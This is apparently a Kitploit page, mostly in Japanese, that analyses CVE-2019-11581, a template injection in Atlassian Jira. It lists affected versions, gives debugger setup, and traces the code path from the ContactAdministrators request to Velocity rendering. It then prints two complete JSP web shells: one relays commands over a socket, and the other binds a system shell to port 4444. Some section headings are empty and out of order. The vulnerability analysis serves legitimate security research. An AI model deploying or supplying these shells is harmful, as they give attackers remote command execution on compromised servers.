CVE-2019-11581 — Atlassian Jira 認証なしテンプレートインジェクション | Kitploit

Atlassian Jira unauthen template injection (CVE-2019-11581)

I) ビルド

1. 脆弱性のあるバージョン

4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x before 7.6.14 (the fixed version for 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x before 7.13.5 (the fixed version for 7.13.x)
8.0.x before 8.0.3 (the fixed version for 8.0.x)
8.1.x before 8.1.2 (the fixed version for 8.1.x)
8.2.x before 8.2.3 (the fixed version for 8.2.x)

2. ビルドとデバッグ

リモートデバッグを実行できるように、./bin/setenv.bat ファイル内の set JVM_SUPPORT_RECOMMENDED_ARGS= の値を修正します（Linux では ./bin/setenv.sh も同様）。

set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

/secure/ContactAdministrators.jspa へのリクエストを確認したので、./atlassian-jira/WEB-INF/web.xml を見て、このリクエストがどのクラスに転送されるかを調べました
つまりリクエストは JiraWebworkActionDispatcher で処理されます。そこでこのクラスの init と server にブレークポイントを設定してデバッグを実行しました。
プログラムは server 関数で停止し、しばらくトレースすると ContactAdministrators.doExecute() に入りました。
次に send に進みます。ここでプログラムは稼働中の管理者アカウントを列挙します。
その後、プログラムは sendTo 関数に進みます。ここで MailQueueItem を作成し、それを mailQueue に追加しているのがわかります。
プログラムは EmailBuilder.withSubject 関数を呼び出します。ここで、メールの subject 文字列（攻撃者から送信されたもの）が String から TemplateSources に変換され、EmailBuilder の subjectTemplate パラメータに割り当てられます。
renderLater 関数では、プログラムは EmailRenderer を作成し、それを使用して RenderingMailQueueItem を作成します。
ここから ContactAdministrators.sendTo 関数に戻ります。MailQueueItem の作成後、プログラムはアイテムを mailQueue に追加し、doExecute 関数に戻ってリダイレクトします。このデバッグフローに従うと、プログラムがメールをレンダリングする部分に到達できないため、テンプレートインジェクションが発生する箇所に到達できません。では、メール処理を追跡するにはどうすればよいのでしょうか？
EmailRenderer には renderNow 関数があることに気づきました（プログラムは renderLater しか呼び出しません）。キュー内のメールがレンダリングのために呼び出される際も renderNow と同じフローをたどるだろうと推測し、renderNow 関数からトレースすることにしました。
renderNow から、プログラムは EmailRenderer.render() を呼び出します。ここにブレークポイントを設定し、再度リクエストして、実際にここまで実行されるか確認しました。
幸運なことに、プログラムは予想どおりの流れで動きました。次に、プログラムは renderEmailSubject を呼び出します。
次に、プログラムは DefaultVelocityTemplatingEngine.render(this.subjectTemplate) を呼び出します。
DefaultVelocityTemplatingEngine.applying と DefaultVelocityTemplatingEngine.asPlainText に進みます。
続いて asPlainText(Writer writer) を呼び出します。
toWriterImpl に進みます。渡した writer が Fragment であるため、プログラムは else に分岐します。

private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
            if (this.source instanceof File) {
                File template = (File)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
            } else if (this.source instanceof Fragment) {
                Fragment fragment = (Fragment)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
            }

        }

public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
        InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
        ica.pushCurrentTemplateName(logTag);

        try {
            try {
                nodeTree.init(ica, this);
            } catch (TemplateInitException var13) {
                throw new ParseErrorException(var13);
            } catch (RuntimeException var14) {
                throw var14;
            } catch (Exception var15) {
                String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
                this.getLog().error(msg, var15);
                throw new VelocityException(msg, var15);
            }

            nodeTree.render(ica, writer);       ### Có thể RCE ở đây ###
        } finally {
            ica.popCurrentTemplateName();
        }

        return true;
    }

ContactAdministrators:	doExecute -> send -> sendTo
	-> EmailBuilder -> renderLater
	
RenderingMailQueueItem: send
	-> emailRenderer: render -> renderEmailSubject
		-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
			-> DefaultVelocityManager: writeEncodedBodyForContent
				->VelocityEngine: evaluate
					> RuntimeInstance: evaluate -> evaluate -> render
						=>  SimpleNode: render

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
  Socket socket = new Socket( "127.0.0.1", 4444 );
  
  OutputStream output = socket.getOutputStream();
  PrintWriter writer = new PrintWriter(output, true);
  writer.println(request.getParameter("cmd"));
  
  InputStream input = socket.getInputStream();
  DataInputStream dis = new DataInputStream(input);
  String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
        
	socket.close();
  
%>

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
  class StreamConnector 
  {
    InputStream md;
    OutputStream ao;

    StreamConnector( InputStream md, OutputStream ao )
    {
      this.md = md;
      this.ao = ao;
    }

    public void run()
    {
      BufferedReader yw  = null;
      BufferedWriter enf = null;
      try
      {
        yw  = new BufferedReader( new InputStreamReader( this.md ) );
        enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
        char buffer[] = new char[8192];
        int length  = yw.read( buffer, 0, buffer.length); 
        enf.write( buffer, 0, length );
        enf.flush();
      } catch( Exception e ){}
      
    }
	
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
	
    Process process = Runtime.getRuntime().exec( ShellPath );
		
    while (true) {
     Socket client_socket = server_socket.accept();
	 ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
	 
	  Thread.sleep(1000);
	  
	 ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
	
      client_socket.close();
    }

  } catch( Exception e ) {}
  
%>

CVE-2019-11581

人気

II) 分析

コールスタック

file: web.jsp

file: bind.jsp

修正